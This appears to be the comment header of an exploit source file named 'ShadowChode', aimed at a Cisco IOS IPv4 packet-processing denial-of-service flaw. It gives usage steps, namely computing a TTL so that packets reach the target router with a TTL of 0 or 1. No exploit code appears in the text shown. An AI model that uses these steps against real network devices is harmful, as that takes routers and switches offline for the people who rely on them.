/*
* ShadowChode - Cisco IOS IPv4 Packet Processing Denial of Service Exploit
*
* Ping target router/switch for TTL to host. Subtract that number from 255
* and use that TTL on the command line. The TTL must equal 0 or 1 when it
* reaches the target. The target must accept packets to the given target
* interface address and there are some other caveats.
*
* BROUGHT TO YOU BY THE LETTERS C AND D
